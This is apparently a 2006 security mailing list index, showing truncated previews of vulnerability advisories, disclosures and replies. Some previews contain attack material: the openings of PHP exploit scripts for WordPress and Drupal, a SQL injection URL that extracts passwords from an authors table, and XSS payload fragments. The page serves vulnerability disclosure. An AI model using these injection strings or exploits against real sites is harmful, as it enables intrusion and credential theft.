Addendum to my previous letter:

Note that this design (master key encrypted with header key) is common
and has been used for many years by many products (for example,
Scramdisk, E4M, etc.)

The main advantage of the design is that the user can change his
password within a few seconds without ha

[ more ]  [ reply ]

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "--------------------------------------------------------------------\r\
n";

echo "| WordPress <= 2.0.2 'cache' shell injection exploit |\r\n";

echo "| by rgod rgod (at) autistici (dot) org [email concealed] |\r\n";

echo "| si

[ more ]  [ reply ]

PostgreSQL versions 8.1.4, 8.0.8, 7.4.13 and 7.3.15 have been released
fixing two security issues.

Details of vulnerability 1
--------------------------
Vulnerability type: SQL Injection
Remotely exploitable: Depends on client

Affected versions: PostgreSQL 8.1.0-8.1.3, 8.0.0-8.0.7,

[ more ]  [ reply ]

New Xss Hackernetwork Mail Vulnerability

Hackernetwork Mail Xss[Search] Vulnerability

ENGLISH

#Title : Hackernetwork Mail Xss[Search] Vulnerability

#Author: ajann

Example;

http://hackernetwork.mail.everyone.net/email/scripts/contacts.pl?goToMen
u=&EV1=11481394101759371&ab_to=&delete

[ more ]  [ reply ]

iFlance

Homepage:

http://www.ifusionservices.co.uk/

Description:

iFlance is a powerful freelance script, that allows anyone to run their very own own professional, profitable

Freelancing website

Effected files:

acc_verify.php

project.php

all input boxes

XSS BY URL Injection of acc

[ more ]  [ reply ]

rPath Security Advisory: 2006-0082-1
Published: 2006-05-25
Products: rPath Linux 1
Rating: Critical
Exposure Level Classification:
Local Root Deterministic Privilege Escalation
Updated Versions:
vixie-cron=/conary.rpath.com@rpl:devel//1/4.1-5.2-1

References:
http://www.cve.mitre.org/cgi

[ more ]  [ reply ]

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "Drupal <= 4.7 attachment mod_mime poc exploit\r\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\r\n";

echo "site: http://retrogod.altervista.org\r\n\r\n";

/*

this works with a user account with upload rights and with permissions to modify

stories, howeve

[ more ]  [ reply ]

Pre News Manager v1.0

Homepage:

http://www.preprojects.com/news.asp

Description:

Effected files:

index.php

news_detail.php

email_story.php

thankyou.php

printable_view.php

tella_friend.php

send_comments.php

Exploits & Vulns:

XSS Vulnerabilities:

By inserting <IMG%20"""><SCR

[ more ]  [ reply ]

[KAPDA::#44] - NewsCMSLite Login ByPass by Cookie Vulnerability

KAPDA New advisory

Vulnerable product : NewsCMSLite

Vendor: http://www.katywhitton.com

Vulnerability: Authentication Flaw in 'newsadmin.asp' Lets Remote User Gain Administrative Access .

Date :

--------------------

Found :

[ more ]  [ reply ]

Pre Shopping Mall

Homepage:

http://www.preprojects.com/emall.asp

Description:

PRE SHOPPING MALL a power full ecommerce shopping mall solution. If you need to setup a online shop or shopping mall PRE SHOPPING MALL is your quickest solution. You can setup your Emall within few hours. Buy insta

[ more ]  [ reply ]

HotWebScripts.com CMS Mundo V1.0

Homepage:

http://www.hotwebscripts.com

Description:

Free powerfull CMS - add textpages, productpages, news items, categories - edit content with integrated Word editor - auto-creation of thumb-images - integrated image gallery - integrated paypal gateway - uplo

[ more ]  [ reply ]

GuestbookXL 1.3

Homepage:

http://phpscripts.byethost12.com/guestbook.php

Description:

This simple guestbook makes it possible to store messages from users. It stores the name, Email address (when given) as a mailto link and the message itself. It has 30 smileys at this moment, but other smiley

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-286-1 May 24, 2006
dia vulnerabilities
CVE-2006-2453, CVE-2006-2480
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 5.04 (Hoary H

[ more ]  [ reply ]

Bulletin Board Elite-Board v.1.1

Homepage:

http://eng.e-board.net.ru/about/

Description:

Multipurpose multifunctional public bulletin board for your website. Easy to install and to use. Has all possible scripts functions of the same type and does not need additional modules and database. It

[ more ]  [ reply ]

Realty Pro One

http://realtypro1.2run2.com/index.php

Description:

Realty Pro One is a powerful property listing tool with many features.

Effected files:

searchlookup.php

images.php

index_other.php

request_info.php

?listingid

Exploits & Vulns:

XSS Vulnerability by the listingid var

[ more ]  [ reply ]

((sorry if youget this twice, the reply page timed out))

iFdate v1.2

Homepage:

http://www.ifusionservices.co.uk/products/product_ifdate.php

Description:

Packed full of great features, it supports themes and looks sleek, your users will be able to create & customize their very own profil

[ more ]  [ reply ]

hi to all ..

forum type : phpWebSite 0.8.3

bug found by : black-code

team : site-down

type : sql injection

code:

www.xxx.com/path/topics.php?op=viewtopic&topic=-1%20Union%20select%20nul
l,null,pwd,name%20From%20authors

path to admin login:

http://www.xxx.com/admin.php

All my r

[ more ]  [ reply ]

A Nasty Security Bug that affect PGP Virtual Disks & PGP SDA , PGP 8.x & 9.x and Truecrypt.

Affected Products:

* PGP 8.x PGP 9.x maybe older version too

* Truecrypt 4.2 maybe older version too

// Full detail can be found here //

<> http://www.safehack.com/Advisory/pgp/PGPcrack.

[ more ]  [ reply ]

ChatPat v1.0

Homepage:

http://calendarscripts.info/download-3.html

Description:

An online chat room that lets users chat with each other.

Effected files:

fastchat.php

fastshow.php

The nickname input form doesn't sanatize user input before it adds it to the db. In turn this can cause

[ more ]  [ reply ]

hello, i'm the creator of the ipLogger and i was looking for some suggestions of how to fix the issue before i get started on it, so if you have any, please email me at thrasher.basher (at) gmail (dot) com [email concealed]

[ more ]  [ reply ]

Sorry, the bug is perfectly reproducible. I skipped clicking the mouse
after loading the page.

- Siddhartha

-----Original Message-----
From: Jain, Siddhartha
Sent: Tuesday, May 23, 2006 12:18 PM
To: 'mac68k (at) gmail (dot) com [email concealed]'; bugtraq (at) securityfocus (dot) com [email concealed]
Subject: RE: Microsoft Internet Explorer - Crash o

[ more ]  [ reply ]

AZ Photo Album Script Pro

Homepage:

http://www.php4script.com/php-photo-album-script/

Description:

A powerful PHP/MySQL photo album (photo gallery) script with a lot of features.

Effected files:

index.php

Exploits & Vulns:

Captivate is prone to a cross-site scripting vulnerability.

[ more ]  [ reply ]

So does cpg-nuke have these same vulnerabilities or am I ok to use it instead these seem like a lot of issues and the programmers of cpg-nuke are always talking about the security issues on php-nuke and you are listing a bunch.

Tyson

Holding Businesses Responsible for bad Behavior!!

Visit us

[ more ]  [ reply ]

phpFoX (AllVersion) Login to any Account

#Exploit found by Mx [at] hackmx.net

#Login as any user/admin/mod

#Action event only once

This exploit will allow you to action an event per login, on any account in phpFoX (All Versions).

1> Create an account on phpFox, after activating the accoun

[ more ]  [ reply ]

Kaspersky antivirus 6

Kaspersky internet security 6

www.kaspersky.com

Vulnerable Systems: KAV6, KIS6

Detail:

The vulnerability is caused due to POP3 state machine error in POP3 monitor (Kaspersky Mail-antivirus).

Any mailicious software on local computer can bypass POP3 virus monito

[ more ]  [ reply ]

That looks a lot like a *nuke (PHPNuke & forks like PostNuke).

The "thold" param has a history of issues, XSS and the like, and
I seem to recall it is handled by the "Sections" module in Nuke.

If it's the code I think it is, there are more issues with other
params which are even listed in the exam

[ more ]  [ reply ]

>Foud By: Breeeeh & CrAzY CrAcKeR

>$comma = " - ";
>...
>$title .= $comma.$forum['name'];
>...
>$comma = ", ";

This code snippet sets the $comma variable to static values, so it
doesn't look like the attacker can control them.

>Example:
>
>/rss.php?...$comma=[SQL]

Given the previous code snipp

[ more ]  [ reply ]

This issue has been resolved as of 5/23/2006. The problem was related to the customer-specific implementation of the user authentication system and is not a general problem with Lithium?s software. This does not affect any of Lithium?s other customers.

[ more ]  [ reply ]